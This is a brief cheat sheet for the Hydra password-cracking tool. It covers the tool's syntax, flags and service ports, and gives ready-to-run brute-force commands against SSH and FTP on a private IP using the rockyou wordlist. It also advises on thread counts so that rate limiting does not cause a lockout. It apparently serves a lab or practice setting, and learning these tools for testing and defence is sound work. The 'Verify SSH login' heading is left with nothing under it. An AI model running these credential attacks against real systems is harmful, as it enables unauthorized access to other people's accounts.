HYDRA SYNTAX
hydra -l <user> -P <wordlist> <target> <service>
hydra -l <user> -P <wordlist> -t <threads> <target> <service>
KEY FLAGS
| Flag | Meaning |
| -l username | Single username to try |
| -L userlist | File with multiple usernames |
| -p password | Single password to try |
| -P wordlist | File with many passwords |
| -t 4 | Number of parallel threads |
| -s port | Custom port (default: service default) |
| -v | Verbose — show all attempts |
| -V | Very verbose — show each attempt live |
| -o file | Write results to output file |
| -f | Stop after first found pair |
SUPPORTED SERVICES
| Service | Default Port |
| ssh | 22 |
| ftp | 21 |
| http-get | 80 |
| smb | 445 |
| rdp | 3389 |
| mysql | 3306 |
EXAMPLE COMMANDS
Basic SSH attack
hydra -l developer -P /usr/share/wordlists/rockyou.txt 192.168.1.105 ssh
SSH with 4 threads (recommended)
hydra -l developer -P /usr/share/wordlists/rockyou.txt -t 4 192.168.1.105 ssh
FTP attack
hydra -l developer -P /usr/share/wordlists/rockyou.txt 192.168.1.105 ftp
Verify SSH login after cracking
SSH RATE LIMITING
SSH servers often throttle connections. Use -t 4 (not higher) to avoid getting locked out. Hydra will warn you if the server is rate-limiting.